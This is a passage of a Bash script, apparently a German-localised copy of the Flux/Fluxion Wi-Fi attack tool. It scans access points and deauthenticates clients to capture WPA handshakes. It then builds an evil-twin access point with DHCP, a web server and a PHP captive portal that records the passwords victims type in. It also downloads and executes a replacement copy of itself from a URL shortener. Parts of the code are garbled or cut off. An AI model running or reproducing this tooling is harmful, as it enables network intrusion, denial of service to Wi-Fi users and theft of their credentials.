""${rot}S""${gelb}ocial ""${rot}E""${gelb}nginering" "${rot}T""${gelb}ool""$gruen #" - echo -e "$gruen# #" - echo -e "$gruen#########################################################""$transparent" - echo "Keep CALM" - echo -} - -##################################### < CONFIGURATION SCRIPT > ##################################### - - - - - - -############################################## < Anfang > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mSie haben keine root Rechte"$transparent"" - exit -fi - -# Prüfen ob alle Programme installiert wurden - -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$exit" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} - -mostrarheader -checkdependences -FLUX_DEBUG=0 -# Erstellen eines Ordners -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - -# Script -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $rot - sleep 0.1 && echo -e $rot " .::::::::.:: .:: .::.:: .::" - sleep 0.1 && echo -e $rot " :: .:: .:: .:: .:: .:: " - sleep 0.1 && echo -e $rot " .:: .:: .:: .:: .:: .:: " - sleep 0.1 && echo -e $rot .:::::: .:: .:: .:: .:: " - sleep 0.1 && echo -e $rot " .:: .:: .:: .:: .:: .:: " - sleep 0.1 && echo -e $rot .:: .:: .:: .:: .:: .:: " - sleep 0.1 && echo -e $rot " .:: .:::::::: .::::: .:: .::" - - sleep 0.1 && echo "" - sleep 0.1 && echo "" - sleep 0.1 && echo -e $gelb " _ ______ ___ "$weis" __"$gelb" ___ "$gruen" __ __ __" - sleep 0.1 && echo -e $gelb " | | / / __ \/ |"$weis" / /"$gelb"|__ \ "$gruen" / / / /___ ______/ /__" - sleep 0.1 && echo -e $gelb " | | /| / / /_/ / /| |"$weis" / /"$gelb" __/ /"$gruen" / /_/ / __ / ___/ //_/" - sleep 0.1 && echo -e $gelb " | |/ |/ / ____/ ___ |"$weis"/ /"$gelb" / __/ "$gruen" / __ / /_/ / /__/ ,<" - sleep 0.1 && echo -e $gelb " |__/|__/_/ /_/ |_"$weis"/_/"$gelb" /____/ "$gruen" /_/ /_/\__,_/\___/_/|_|" - sleep 0.1 && echo "" - sleep 0.1 && echo "" - sleep 1 - echo -e $rot" FLUX "$weis""$version" (rev. "$gruen"$Wiederhohlung"$weis") "$gelb"by "$weis" flux" - sleep 1 - echo -e $gruen" Para "$rot"flux.jimdo.com "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - Wiederhohlung_online=$(cat $DUMP_PATH/Irev) - echo -e ""$weis" [${magenta}${Wiederhohlung_online}$weis"$transparent"]" - if [ "$Wiederhohlung_online" != "?" ]; then - - if [ "$Wiederhohlung" != "$Wiederhohlung_online" ]; then - - cp $0 $HOME/flux_rev-$Wiederhohlung.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L http://goo.gl/Y5JX7c -s -o $0 - echo - echo - echo -e ""$rot"Neue Version gefunden! Script startet neu"$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi - echo "" - tput cnorm - sleep 2 - -fi - -# Info AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MO=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'` - echo "INFO AP OBJETIVO" - echo - echo -e " "$gruen"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$gruen"Canal"$transparent" = $channel" - echo -e " "$gruen"Velocidad"$transparent" = ${speed:2} Mbps" - echo -e " "$gruen"MAC AP"$transparent" = $mac (\e[1;33m$Host_MAC_MO"$transparent")" - echo -} - -############################################## < BEGINN > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Die optimale Auflösung sollte automatisch erkannt werden -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Wähle Schnittstelle -function setinterface { - - # Stopt Monitor Mode - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - airmon-ng stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Erstelle Liste von allen physikalischen Netzwerkschnittstellen - readarray -t wirelessifaces < <(airmon-ng |grep "-" | awk '{print $1}') - INTERFACESNUMBER=`airmon-ng| grep -c "-"` - - echo - echo - echo Automatische Erkennung der Auflösung [AEA] - echo $detectedresolution - echo - - - # Bei nur einer Netzwerk Karte - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Wähle deine Netzwerkschnittstelle" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$gruen""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=${wirelessifaces[$line]} - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - - # Schnittstelle muss gewählt werden - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - # Variable wird einer Physikalische Schnittstelle zugeordnet - WIFI=$PREWIFI - # Falls keine Physikalische Schnittstelle erkannt wird, beendet es sich automatisch - else - - echo Keine Physikalische Netzwerkschnittstelle gefunden, Beende... - sleep 5 - exitmode - fi - - deltax - -} - -# Überprüfe Datei -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Sie können einen oder mehrer Kanäle scannen -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Wählen sie ihren Kanal" - echo " " - echo -e " "$gruen"1)"$transparent" Einen Kanal " - echo -e " "$gruen"2)"$transparent" Mehrer Kanäle " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unbekannte Operation, bitte wählen sie noch mal"; conditional_clear ;; - esac - done -} - -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Wähle dein Kanal " - echo " " - echo -e " 1 Kanal "$gruen"6"$transparent" " - echo -e " Kanalbereich "$gruen"1-5"$transparent" " - echo -e " Mehrere Kanalbereiche "$gruen"1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Kanal erfassen --> $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Durchsucht das ganze Netzwerk -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI ..." $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Wählen sie ein Netzwerk -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " Zielpfad der APS " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$gruen"$i")"$weis"$CLIENTE\t""$gelb"$MAC"\t""$gruen"$CHANNEL"\t""$rot" $PRIVACY"\t ""$gelb"$POWER%"\t""$gruen"$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$gruen"("$weis"*"$gruen") Netzwerk"$transparent"" - echo "" - echo " Netzwerk auswählen " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# Fake AP Modus -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "Modus FakeAP" - echo " " - echo -e " "$gruen"1)"$transparent" Hostapd ("$rot"Empfohlen"$transparent")" - echo -e " "$gruen"2)"$transparent" airbase-ng" - echo -e " "$gruen"3)"$transparent" Zurück" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unbekannte Option. Wählen sie wieder"; conditional_clear ;; - esac - done - -} - -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "Prüfungsmethode " - echo " " - echo -e " "$gruen"1)"$transparent" Handshake ("$rot"Recomendado"$transparent")" - echo -e " "$gruen"2)"$transparent" wpa_supplicant [weniger Effectiv]" - echo -e " "$gruen"3)"$transparent" Zurück" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo "Unbekannte Option. Wählen Sie wieder"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "Geben sie den Pfad ein, für handshake(Ej: $rot/root/flux.cap$transparent)" - echo -e "Drücke ${gelb}ENTER$transparent um zu überspringen" - echo - echo -n "Router" - echo -ne "$rot" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Schlechter handshake" - sleep 4 - handshakelocation - fi - else - echo -e "${rot}Error$transparent!" - echo - echo -e "File ${rot}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$gruen$(echo $i | cut -d " " -f1) $gelb$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($gruen$(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${gruen}MAC$transparent" - echo -e "$gruen#1: $gelb$Host_MAC$transparent ($gruen$Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${rot}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "Überprüfe HANDSHAKE" - echo " " - echo -e " "$gruen"1)"$transparent" Normal (event. mit Fehlern)" - echo -e " "$gruen"2)"$transparent" Genauer(mit weniger Fehler)" - echo -e " "$gruen"3)"$transparent" Zurück" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo "Unbekannte Option. Wählen Sie wieder"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - - -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "HANDSHAKE CLIENTE" - echo " " - echo -e " "$gruen"1)"$transparent" deauth all" - echo -e " "$gruen"2)"$transparent" deauth all mdk3" - echo -e " "$gruen"3)"$transparent" deauth ein bestimmtes Ziel" - echo -e " "$gruen"4)"$transparent" rescann" - echo -e " "$gruen"5)"$transparent" Beenden" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo "Unbekannte Option. Wählen Sie wieder"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - deAUTH=deauthall - capture & $deAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - deAUTH=deauthmdk3 - capture & $deAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - deAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - deAUTH=deauthall - capture & $deAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $deAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grau }Sin handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "¿Handshake fangen?" - echo - echo -e "Estado handshake: $Handshake_statuscheck" - echo - echo -e " "$gruen"1)"$transparent" Ja" - echo -e " "$gruen"2)"$transparent" Nein " - echo -e " "$gruen"3)"$transparent" Nein " - echo -e " "$gruen"4)"$transparent" Wählen sie ein anderes Netzwerk" - echo -e " "$gruen"5)"$transparent" Beenden" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $deAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo "Unbekannte Option. Wählen Sie wieder"; conditional_clear ;; - esac - - done -} - -# Jedes Netzwerk erfassen -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Kanal erfassen --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Überprüfe handshake vor den fortfahren -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${rot}Malo$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${gelb}Corrupto$transparent" - else - Handshake_statuscheck="${rot}Malo$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < START > ############################################ - -# Wähle Netzwerkschnittstellen, die verwendet werden -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "SELECCIONA LA INTERFACE WEB" - echo - - echo -e "$gruen""1)"$transparent" Web Interface" - echo -e "$gruen""2)"$transparent" \e[1;31mSalir"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECCIONA IDIOMA" - echo - - echo -e "$gruen""1)"$transparent" English [ENG]" - echo -e "$gruen""2)"$transparent" Spanish [ESP]" - echo -e "$gruen""3)"$transparent" Italy [IT]" - echo -e "$gruen""4)"$transparent" French [FR]" - echo -e "$gruen""5)"$transparent" Portuguese [POR]" - echo -e "$gruen""5)"$transparent" Deutsch [DE]" - echo -e "$gruen""6)"$transparent" \e[1;31mAtras"$transparent"" - - echo - echo -n "#? " - read linea - language=${webinterfaceslenguage[$line]} - - if [ "$linea" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$linea" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$linea" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$linea" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$linea" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$linea" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DE - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DE - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DE - DIALOG_WEB_OK=$DIALOG_WEB_OK_DE_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_EN - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$linea" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Erstellt viele verschidene Konfigurationsdatein -function preattack { - -# Erzeugt config [HOSTAPD] -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -#php -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/savekey.php - -# Erzeugt Serverkonfiguration DHCP -echo "maßgebend; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -# Webserver für Lighttpd wird erzeugt -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", 